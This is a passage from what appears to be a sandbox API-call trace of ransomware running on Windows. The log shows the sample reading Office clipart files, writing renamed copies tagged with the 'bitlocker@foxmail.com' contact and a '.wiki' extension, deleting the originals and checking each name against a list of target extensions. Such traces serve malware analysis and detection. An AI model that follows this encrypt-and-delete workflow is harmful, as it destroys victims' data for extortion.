dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0063.505] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=3228) returned 1 [0063.505] CloseHandle (hObject=0x21c) returned 1 [0063.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf")) returned 0x20 [0063.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0063.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0063.512] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.521] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0063.529] GetLastError () returned 0x0 [0063.529] ReadFile (in: hFile=0x21c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0xc9c, lpOverlapped=0x0) returned 1 [0063.532] WriteFile (in: hFile=0x1f4, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xca0, lpOverlapped=0x0) returned 1 [0063.533] ReadFile (in: hFile=0x21c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0063.533] WriteFile (in: hFile=0x1f4, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0063.533] SetEndOfFile (hFile=0x1f4) returned 1 [0063.533] CloseHandle (hObject=0x1f4) returned 1 [0063.534] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.534] SetEndOfFile (hFile=0x21c) returned 1 [0063.534] CloseHandle (hObject=0x21c) returned 1 [0063.535] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0063.535] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf")) returned 1 [0063.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0063.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0063.535] lstrlenW (lpString=".doc") returned 4 [0063.535] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.536] lstrlenW (lpString=".docx") returned 5 [0063.536] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.536] lstrlenW (lpString=".pdf") returned 4 [0063.536] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.536] lstrlenW (lpString=".xls") returned 4 [0063.536] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.536] lstrlenW (lpString=".xlsx") returned 5 [0063.536] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.536] lstrlenW (lpString=".ppt") returned 4 [0063.536] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0063.536] lstrlenW (lpString=".zip") returned 4 [0063.536] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.536] lstrlenW (lpString=".rar") returned 4 [0063.536] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.536] lstrlenW (lpString=".bz2") returned 4 [0063.536] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.536] lstrlenW (lpString=".7z") returned 3 [0063.536] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0063.536] lstrlenW (lpString=".dbf") returned 4 [0063.536] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0063.536] lstrlenW (lpString=".1cd") returned 4 [0063.536] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0063.536] lstrlenW (lpString=".jpg") returned 4 [0063.536] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0063.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0063.536] lstrlenW (lpString=".doc") returned 4 [0063.536] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.536] lstrlenW (lpString=".docx") returned 5 [0063.536] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.537] lstrlenW (lpString=".pdf") returned 4 [0063.537] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.537] lstrlenW (lpString=".xls") returned 4 [0063.537] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.537] lstrlenW (lpString=".xlsx") returned 5 [0063.537] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.537] lstrlenW (lpString=".ppt") returned 4 [0063.537] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0063.537] lstrlenW (lpString=".zip") returned 4 [0063.537] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.537] lstrlenW (lpString=".rar") returned 4 [0063.537] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.537] lstrlenW (lpString=".bz2") returned 4 [0063.537] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.537] lstrlenW (lpString=".7z") returned 3 [0063.537] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0063.537] lstrlenW (lpString=".dbf") returned 4 [0063.537] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0063.537] lstrlenW (lpString=".1cd") returned 4 [0063.537] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0063.537] lstrlenW (lpString=".jpg") returned 4 [0063.537] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.537] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0063.537] lstrlenW (lpString="BD08758_.WMF") returned 12 [0063.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0063.538] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=24320) returned 1 [0063.538] CloseHandle (hObject=0x21c) returned 1 [0063.538] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf")) returned 0x20 [0063.538] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0063.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0063.538] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.538] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0063.538] GetLastError () returned 0x0 [0063.538] ReadFile (in: hFile=0x21c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x5f00, lpOverlapped=0x0) returned 1 [0063.540] WriteFile (in: hFile=0x1f4, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x5f10, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x5f10, lpOverlapped=0x0) returned 1 [0063.541] ReadFile (in: hFile=0x21c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0063.541] WriteFile (in: hFile=0x1f4, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0063.541] SetEndOfFile (hFile=0x1f4) returned 1 [0063.541] CloseHandle (hObject=0x1f4) returned 1 [0063.542] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.542] SetEndOfFile (hFile=0x21c) returned 1 [0063.542] CloseHandle (hObject=0x21c) returned 1 [0063.543] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0063.543] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf")) returned 1 [0063.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0063.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0063.543] lstrlenW (lpString=".doc") returned 4 [0063.543] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.543] lstrlenW (lpString=".docx") returned 5 [0063.543] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.543] lstrlenW (lpString=".pdf") returned 4 [0063.543] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.543] lstrlenW (lpString=".xls") returned 4 [0063.543] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.543] lstrlenW (lpString=".xlsx") returned 5 [0063.543] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.543] lstrlenW (lpString=".ppt") returned 4 [0063.543] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0063.543] lstrlenW (lpString=".zip") returned 4 [0063.543] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.543] lstrlenW (lpString=".rar") returned 4 [0063.543] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.543] lstrlenW (lpString=".bz2") returned 4 [0063.543] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.543] lstrlenW (lpString=".7z") returned 3 [0063.543] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0063.544] lstrlenW (lpString=".dbf") returned 4 [0063.544] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0063.544] lstrlenW (lpString=".1cd") returned 4 [0063.544] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0063.544] lstrlenW (lpString=".jpg") returned 4 [0063.544] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0063.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0063.544] lstrlenW (lpString=".doc") returned 4 [0063.544] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.544] lstrlenW (lpString=".docx") returned 5 [0063.544] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.544] lstrlenW (lpString=".pdf") returned 4 [0063.544] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.544] lstrlenW (lpString=".xls") returned 4 [0063.544] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.544] lstrlenW (lpString=".xlsx") returned 5 [0063.544] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.544] lstrlenW (lpString=".ppt") returned 4 [0063.544] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0063.544] lstrlenW (lpString=".zip") returned 4 [0063.544] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.544] lstrlenW (lpString=".rar") returned 4 [0063.544] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.544] lstrlenW (lpString=".bz2") returned 4 [0063.544] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.544] lstrlenW (lpString=".7z") returned 3 [0063.544] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0063.545] lstrlenW (lpString=".dbf") returned 4 [0063.545] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0063.545] lstrlenW (lpString=".1cd") returned 4 [0063.545] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0063.545] lstrlenW (lpString=".jpg") returned 4 [0063.545] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.545] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0063.545] lstrlenW (lpString="BD08773_.WMF") returned 12 [0063.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0063.545] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=24778) returned 1 [0063.545] CloseHandle (hObject=0x21c) returned 1 [0063.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf")) returned 0x20 [0063.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0063.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0063.545] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.546] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0063.546] GetLastError () returned 0x0 [0063.546] ReadFile (in: hFile=0x21c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x60ca, lpOverlapped=0x0) returned 1 [0063.548] WriteFile (in: hFile=0x1f4, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x60d0, lpOverlapped=0x0) returned 1 [0063.549] ReadFile (in: hFile=0x21c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0063.549] WriteFile (in: hFile=0x1f4, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0063.549] SetEndOfFile (hFile=0x1f4) returned 1 [0063.549] CloseHandle (hObject=0x1f4) returned 1 [0063.549] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.549] SetEndOfFile (hFile=0x21c) returned 1 [0063.550] CloseHandle (hObject=0x21c) returned 1 [0063.550] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0063.550] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf")) returned 1 [0063.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0063.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0063.551] lstrlenW (lpString=".doc") returned 4 [0063.551] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.551] lstrlenW (lpString=".docx") returned 5 [0063.551] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.551] lstrlenW (lpString=".pdf") returned 4 [0063.551] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.551] lstrlenW (lpString=".xls") returned 4 [0063.551] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.551] lstrlenW (lpString=".xlsx") returned 5 [0063.551] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.551] lstrlenW (lpString=".ppt") returned 4 [0063.551] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0063.551] lstrlenW (lpString=".zip") returned 4 [0063.551] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.551] lstrlenW (lpString=".rar") returned 4 [0063.551] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.551] lstrlenW (lpString=".bz2") returned 4 [0063.551] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.551] lstrlenW (lpString=".7z") returned 3 [0063.551] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0063.551] lstrlenW (lpString=".dbf") returned 4 [0063.551] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0063.551] lstrlenW (lpString=".1cd") returned 4 [0063.551] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0063.551] lstrlenW (lpString=".jpg") returned 4 [0063.551] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0063.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0063.552] lstrlenW (lpString=".doc") returned 4 [0063.552] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.552] lstrlenW (lpString=".docx") returned 5 [0063.552] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.552] lstrlenW (lpString=".pdf") returned 4 [0063.552] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.552] lstrlenW (lpString=".xls") returned 4 [0063.552] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.552] lstrlenW (lpString=".xlsx") returned 5 [0063.552] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.552] lstrlenW (lpString=".ppt") returned 4 [0063.552] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0063.552] lstrlenW (lpString=".zip") returned 4 [0063.552] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.552] lstrlenW (lpString=".rar") returned 4 [0063.552] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.552] lstrlenW (lpString=".bz2") returned 4 [0063.552] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.552] lstrlenW (lpString=".7z") returned 3 [0063.552] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0063.552] lstrlenW (lpString=".dbf") returned 4 [0063.552] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0063.552] lstrlenW (lpString=".1cd") returned 4 [0063.552] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0063.552] lstrlenW (lpString=".jpg") returned 4 [0063.552] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.553] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0063.553] lstrlenW (lpString="BD08808_.WMF") returned 12 [0063.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0063.553] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=47996) returned 1 [0063.553] CloseHandle (hObject=0x21c) returned 1 [0063.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf")) returned 0x20 [0063.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft 